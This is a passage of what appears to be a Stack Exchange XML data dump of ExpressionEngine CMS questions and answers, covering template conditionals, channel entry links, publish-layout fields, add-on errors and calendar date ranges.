'{exp:stash:date16}'}{exp:stash:term15}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date16}' AND '{en_date_check}' &amp;lt; '{exp:stash:date17}'}{exp:stash:term16}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date17}' AND '{en_date_check}' &amp;lt; '{exp:stash:date18}'}{exp:stash:term17}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date18}' AND '{en_date_check}' &amp;lt; '{exp:stash:date19}'}{exp:stash:term18}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date19}' AND '{en_date_check}' &amp;lt; '{exp:stash:date20}'}{exp:stash:term19}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date20}' AND '{en_date_check}' &amp;lt; '{exp:stash:date21}'}{exp:stash:term20}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date21}' AND '{en_date_check}' &amp;lt; '{exp:stash:date22}'}{exp:stash:term21}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date22}' AND '{en_date_check}' &amp;lt; '{exp:stash:date23}'}{exp:stash:term22}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date23}' AND '{en_date_check}' &amp;lt; '{exp:stash:date24}'}{exp:stash:term23}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date24}' AND '{en_date_check}' &amp;lt; '{exp:stash:date25}'}{exp:stash:term24}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date25}' AND '{en_date_check}' &amp;lt; '{exp:stash:date26}'}{exp:stash:term25}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date26}' AND '{en_date_check}' &amp;lt; '{exp:stash:date27}'}{exp:stash:term26}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date27}' AND '{en_date_check}' &amp;lt; '{exp:stash:date28}'}{exp:stash:term27}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date28}' AND '{en_date_check}' &amp;lt; '{exp:stash:date29}'}{exp:stash:term28}{/if}&#xA;{if '{en_date_check}' &amp;gt; '{exp:stash:date29}'}{exp:stash:term29}{/if}&#xA;{/stash:term_time}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;all this to give me a word:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:term_time}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to top it off all of this is within another loop and is checked on each iteration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not very elegant. It isn't causing any noticeable performance issues (surprisingly) but it just doesn't seem ideal at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="6825" LastEditDate="2015-12-10T01:40:01.467" LastActivityDate="2015-12-10T01:40:01.467" Title="Looking for a more 'elegant' way to use/output large conditional data list" Tags="|stash|loop|list|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34983" PostTypeId="1" CreationDate="2015-12-09T12:41:26.643" Score="0" ViewCount="22" Body="&lt;p&gt;Is there a way to conditionally display channel fields (not required ones at least) based on a prior selection from a dropdown field in the publish layout for any channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-12-09T13:02:13.940" Title="Display fields upon dropdown selection in PUBLISH layout" Tags="|channel|channel-fields|publish-layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34984" PostTypeId="2" ParentId="34983" CreationDate="2015-12-09T13:02:13.940" Score="2" Body="&lt;p&gt;The way I've done this in the past is to add some custom js to the footer of the Control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You shouldn't edit the core files directly but what you can do is make a Theme and then copy the core files you want to make edits to into your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't let the word theme put you off, you dont have to recreate an entire cp layout. only make duplicates of the core files you want to make edits to and EE will fallback on the core files where your theme doesn't have the required ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside '/themes' (not 'system/ee/third-party/themes')&#xA;Create a new folder with the name of your new theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file I used is footer.php inside 'system/ee/views/_shared/footer.php'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy this to your theme folder as /themes/yourThemeName/_shared/footer.php'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then inside your new footer.php file you can add some js that detects the val() of your dropdown field, then hides/shows others depending on your selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you may need to select fields based on their wrapping divs ID's or you can use the fields name attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's a little bit tricky but it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OH and lastly make sure to select your new CP theme in 'Admin &gt; General Configuration &gt; Default Control Panel Theme'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2015-12-09T13:02:13.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34985" PostTypeId="1" AcceptedAnswerId="34986" CreationDate="2015-12-09T13:36:59.410" Score="0" ViewCount="53" Body="&lt;p&gt;Is there a plugin available that adds support for oembed &lt;a href=&quot;http://oembed.com/&quot; rel=&quot;nofollow&quot;&gt;http://oembed.com/&lt;/a&gt; to expression engine?&lt;/p&gt;&#xA;" OwnerUserId="6909" LastActivityDate="2015-12-09T14:17:07.433" Title="Is there native OEmbed support (or a plugin that adds support)?" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34986" PostTypeId="2" ParentId="34985" CreationDate="2015-12-09T14:17:07.433" Score="0" Body="&lt;p&gt;A quick check on devot:ee turns up &lt;a href=&quot;https://devot-ee.com/add-ons/media-embed&quot; rel=&quot;nofollow&quot;&gt;Media Embed&lt;/a&gt; for EE2. There's also &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet/tags/oembed&quot; rel=&quot;nofollow&quot;&gt;CE Tweet&lt;/a&gt; which claims to support it. Both are third-party plugins.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-09T14:17:07.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34987" PostTypeId="2" ParentId="34924" CreationDate="2015-12-09T14:22:54.143" Score="0" Body="&lt;p&gt;I can reproduce this error with Tag 5.0.0 in EE 3.0.0. This will be reported as a bug to our team. In the meantime, you can go in mod.tag.php and replace every mention of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;sc-&amp;gt;db-&amp;gt;channel_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'channel_name'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's about two places where this string is found in the file.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-12-09T14:22:54.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34988" PostTypeId="1" AcceptedAnswerId="34990" CreationDate="2015-12-09T16:25:25.337" Score="1" ViewCount="37" Body="&lt;p&gt;I'm trying to find a way of allowing a client to mark specific product modifiers as tax free, can it be done somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a shoe at certain sizes (for children) will be tax free but other sizes will remain taxable at the normal rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out that they don't want to create another category for the tax free products. They would rather have a checkbox to say this size is tax free (or similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2015-12-09T19:33:42.497" Title="Expresso Store v2.1.0 can an individual product modifier be tax free?" Tags="|expresso-store|modifiers|tax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34989" PostTypeId="1" CreationDate="2015-12-09T19:14:02.550" Score="0" ViewCount="31" Body="&lt;p&gt;I have written a module for expression engine with an admin control panel. I would like to be able to output some content to the screen without showing the control panel output. So just a blank screen. The purpose is I am trying to use the buffer, ob_start() etc, to put put content live on the screen as its being processed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But by default the EE CP is called, and its called AFTER my script is run, so I think this is preventing the buffer from working. All I see is the final output and not the output as its being processed. It waits for my script to finish and then shows the content in the control panel view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to disable using the control panel view at all, and just output a blank screen? For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function export()&#xA;{&#xA;    echo 'I only want to see this and not the EE control panel!';&#xA;    echo 'But I see the control panel view below my content';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot use exit() because this too waits for the script to finish before outputting the final contents. &#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2015-12-09T19:14:02.550" Title="How to disable the control panel ouput/view in a module, output nothing" Tags="|module|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34990" PostTypeId="2" ParentId="34988" CreationDate="2015-12-09T19:33:42.497" Score="1" Body="&lt;p&gt;There is nothing built into Store outside of categories but even with that you can't have a modifier that is a different category then the rest of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to write an extension that creates a new variation type that they could select from the drop down on the publish page. In your variation you will still was a name and price field but you would then add a tax free checkbox. From there you would have to add the logic to prevent taxi from being applied based upon your new variation column when items are add/edit in the cart. You should take a look at the available &lt;a href=&quot;https://www.exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;extension hooks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-12-09T19:33:42.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34991" PostTypeId="1" CreationDate="2015-12-09T20:29:37.557" Score="0" ViewCount="50" Body="&lt;p&gt;When I try to set my limit to 3, 4, or anything, my page is simply displaying the same entry over and over, rather than showing all the different entries.  Please help! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entries_start_1}&#xA;{entries_1}&#xA;&amp;lt;div id=&quot;content-left&quot;&amp;gt;&#xA;    {exp:channel:entries orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;3&quot; dynamic=&quot;no&quot;}&#xA;        {entry2_image}&#xA;        {title}&amp;lt;/br&amp;gt;&#xA;        {entry_date format='%F %d %Y'}&#xA;        {entry2_intro}&#xA;        {entry2_body}       &#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;{entries_column_divider}&#xA;Recent Post&#xA;{embed=&quot;includes/.sub_nav&quot; section_channel=&quot;{section_channel}&quot;}&#xA;{entries_end}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6910" LastEditorUserId="6910" LastEditDate="2015-12-09T20:52:12.493" LastActivityDate="2016-05-29T16:37:54.263" Title="Displaying multiple/All channel entries on single page" Tags="|channel-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34992" PostTypeId="1" CreationDate="2015-12-10T04:25:22.113" Score="0" ViewCount="27" Body="&lt;p&gt;I'm working on a template for displaying the events for a particular day.  Is there a way to control the start hour and end hour?  This is an office that starts their day no earlier than 7am and ends their day no later than 7pm.  So to have it showing &quot;No events for this hour&quot; at 1am seems silly.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2016-03-12T02:43:20.423" Title="Solspace Calendar Day Template Tags" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34993" PostTypeId="2" ParentId="34828" CreationDate="2015-12-10T10:56:47.383" Score="3" Body="&lt;p&gt;They are still available here: &lt;a href=&quot;https://docs.expressionengine.com/v2/&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/v2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-10T10:56:47.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34994" PostTypeId="2" ParentId="34711" CreationDate="2015-12-10T11:02:25.093" Score="1" Body="&lt;p&gt;I have run a site locally on PHP 7 without any problems. EE usually only requires a minimal version of PHP. As I've said, no issues so far.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2015-12-10T11:02:25.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34995" PostTypeId="2" ParentId="34991" CreationDate="2015-12-10T12:28:39.710" Score="0" Body="&lt;p&gt;For the most part things look ok.&#xA;You should set the channel= parameter.&#xA;If that doesn't help, try the channel entries loop by itself in an empty template.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-12-10T12:28:39.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34996" PostTypeId="1" AcceptedAnswerId="34999" CreationDate="2015-12-10T14:17:07.073" Score="0" ViewCount="436" Body="&lt;p&gt;I have the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;navbar&quot; class=&quot;collapse navbar-collapse&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;static&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/.nav-collapse --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is looping through a channel I have for static pages on my website. Technically it is showing all the stuff it should do. This is the code it outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;navbar&quot; class=&quot;collapse navbar-collapse&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;small-builders&quot;&amp;gt;Small Builders&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I click the link it gives me a white page. I have the htaccess from the documentation set up. I'm new to ExpressionEngine. Am I missing something completely obvious? I just want to link the the entry I've created.&lt;/p&gt;&#xA;" OwnerUserId="6785" LastActivityDate="2015-12-10T19:48:51.777" Title="How to link to entries in a channel?" Tags="|links|entrylinks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34997" PostTypeId="2" ParentId="34996" CreationDate="2015-12-10T14:44:17.387" Score="0" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;navbar&quot; class=&quot;collapse navbar-collapse&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;        {exp:channel:entries channel=&quot;static&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='channel/template'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/.nav-collapse --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;navbar&quot; class=&quot;collapse navbar-collapse&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://yoursite.com/index.php/channel/template/small-builders&quot;&amp;gt;Small Builders&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/.nav-collapse --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://docs.expressionengine.com/v2/add-ons/channel/channel_entries.html#url-title-path&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/v2/add-ons/channel/channel_entries.html#url-title-path&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2341" LastActivityDate="2015-12-10T14:44:17.387" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34998" PostTypeId="1" CreationDate="2015-12-10T15:46:23.420" Score="0" ViewCount="118" Body="&lt;p&gt;Only happens on a couple textarea fields, not all.  I can still edit the fields but only after scrolling past all these error messages...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 562&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 562&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 562&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 562&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 562&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: field_fmt_options&#xA;Filename: fieldtypes/EE_Fieldtype.php&#xA;Line Number: 562&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: helpers/form_helper.php&#xA;Line Number: 324&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have re-uploaded all the files for EE and Addons in use.  I am running EE 2.10.1 and all  the latest versions of FreeformPro, Playa, Matrix and Wygwam.&lt;/p&gt;&#xA;" OwnerUserId="6676" LastEditorUserId="3579" LastEditDate="2015-12-10T15:52:41.563" LastActivityDate="2015-12-10T17:06:53.243" Title="Error when loading textarea fields in CP after upgrade Undefined index: field_fmt_options" Tags="|error|textarea|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34999" PostTypeId="2" ParentId="34996" CreationDate="2015-12-10T15:50:49.763" Score="2" Body="&lt;p&gt;In ExpressionEngine, unlike in other CMS's, templates aren't assigned to channels. Templates are loaded based on template group/template name convention, and those templates display the content of whatever channel (or channels) you specify in the &lt;code&gt;channel:entries&lt;/code&gt; tags that you use in those templates. (&lt;a href=&quot;https://docs.expressionengine.com/latest/urls/url_structure.html&quot; rel=&quot;nofollow&quot;&gt;See docs on URL structure.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally then, you'd link to an entry using &lt;code&gt;{url_title_path=&quot;template_group/template&quot;}&lt;/code&gt;. So if you used &lt;code&gt;{url_title_path=&quot;www/static&quot;}&lt;/code&gt;, your link would end up as &lt;code&gt;example.com/www/static/small-builders&lt;/code&gt;. A &lt;code&gt;channel:entries&lt;/code&gt; tag in the &lt;code&gt;static&lt;/code&gt; template would then automatically load the content from the &lt;code&gt;small-builders&lt;/code&gt; entry (so long as the &lt;code&gt;channel&lt;/code&gt; parameter was correct).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it sounds like you want your URL to simply be &lt;code&gt;example.com/small-builders&lt;/code&gt;, in which case you're correct that using the Pages module is the way to go, as you can set an arbitrary (and absolute) URL, and assign the template you want to use no matter where it resides in your template structure.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-12-10T19:48:51.777" LastActivityDate="2015-12-10T19:48:51.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35000" PostTypeId="2" ParentId="34998" CreationDate="2015-12-10T15:52:49.800" Score="1" Body="&lt;p&gt;Just uploading the new files for modules doesn't complete the modules upgrade.&#xA;You need to hit the &quot;Run Module Updates&quot; button on the Modules page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to delete an addon's folder and upload the new files fresh without overwriting an existing folder as this can sometimes cause inconsistancies and obsolete files linger behind.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-12-10T15:52:49.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35001" PostTypeId="2" ParentId="34998" CreationDate="2015-12-10T17:06:53.243" Score="0" Body="&lt;p&gt;Thanks.  I did do those things, run module update and delete old addon folders before uploading new and no luck.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find the issue though, I noticed that the Default Text Formatting for the texteara field had no Field Formatting options in the drop down, I had to click Edit Options and check Yes to enable options like Auto BR/ and XHTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange that those would all be disabled.  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6676" LastActivityDate="2015-12-10T17:06:53.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35004" PostTypeId="1" CreationDate="2015-12-10T21:59:31.183" Score="0" ViewCount="313" Body="&lt;p&gt;My plan is to use EE as an admin portal for users so they can update my CI application. The way I need it to work is, EE template Login -&gt; give them access by using an external source API for the login Validation. Once they have access they will hit a search Template-&gt; on typing a search query they will get results from an external database not exp_database (I'll be using a custom search module here.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like CodeIgniter I would like to connect my login template in EE to a custom controller in EE. Would I need to make a custom module for this functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did look up something on &#xA;&lt;a href=&quot;https://stackoverflow.com/questions/6588954/expression-engine-controllers&quot;&gt;https://stackoverflow.com/questions/6588954/expression-engine-controllers&lt;/a&gt; and followed their ideas but it doesn't seem to work. I get errors like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The following errors were encountered This form has expired. Please&#xA;  refresh and try again. Return to Previous Page&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Below is the index login page, I created: url is localhost/login/index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;Login Screen &amp;lt;/title&amp;gt;&#xA;&amp;lt;link&amp;gt;bootstarp file&amp;lt;/link&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;col-md-2&quot;&amp;gt;&#xA;                        &amp;lt;form class=&quot;form-horizontal&quot; action='controllers/LoginController.php' method=&quot;POST&quot;&amp;gt;&#xA;                          &amp;lt;fieldset&amp;gt;&#xA;                            &amp;lt;div id=&quot;legend&quot;&amp;gt;&#xA;                              &amp;lt;legend class=&quot;&quot;&amp;gt;Login&amp;lt;/legend&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                              &amp;lt;!-- Username --&amp;gt;&#xA;                              &amp;lt;label c for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;                              &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; id=&quot;username&quot; name=&quot;username&quot; placeholder=&quot;&quot; class=&quot;form-control input-xlarge &quot;&amp;gt;&#xA;                              &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                              &amp;lt;!-- Password--&amp;gt;&#xA;                              &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                              &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                &amp;lt;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;&quot; class=&quot;form-control input-xlarge&quot;&amp;gt;&#xA;                              &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                              &amp;lt;!-- Button --&amp;gt;&#xA;                              &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                &amp;lt;input name=&quot;submit&quot; class=&quot;btn btn-success&quot; type=&quot;submit&quot; value=&quot; Login &quot;&amp;gt;&#xA;&#xA;                              &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                          &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;/form&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the controller url (which is a template is the same login.group): login/CheckLogin &#xA;-CheckLogin has Allow PHP enabled&#xA;-php Parsing Stage - input and Output (tried both still gives me the same error)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    class CheckLogin extends CI_Controller {&#xA;&#xA;            public function index() {&#xA;login_name     = $_POST['username'];&#xA;login_password = $_POST['password'];&#xA;            //Login Validation&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also disabled/commented out the routes in config.php as well&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$route['default_controller'] = &quot;ee/index&quot;;&#xA;$route['404_override'] = &quot;ee/index&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still doesn't work ... I'm hoping it will be something very very stupid (most of the time it is). Any kind of suggestion or example code structure would help.&lt;/p&gt;&#xA;" OwnerUserId="6884" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-12-11T21:08:30.317" Title="Expression Engine Custom Controller" Tags="|ee2|codeigniter|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35006" PostTypeId="2" ParentId="34992" CreationDate="2015-12-11T01:37:25.820" Score="0" Body="&lt;p&gt;I suggest having a look at the Calendar documentation for date/time formatting: &lt;a href=&quot;https://solspace.com/docs/calendar/date_formatting/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/date_formatting/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to use date and time expressions such as (example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&quot;yesterday @ noon&quot; date_range_end=&quot;today @ 5:00 pm&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or in your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&quot;today @ 7:00 am&quot; date_range_end=&quot;today @ 7:00 pm&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...to filter events based on date and time.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note&lt;/strong&gt;: use this with the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag (not &lt;code&gt;{exp:calendar:events}&lt;/code&gt; or 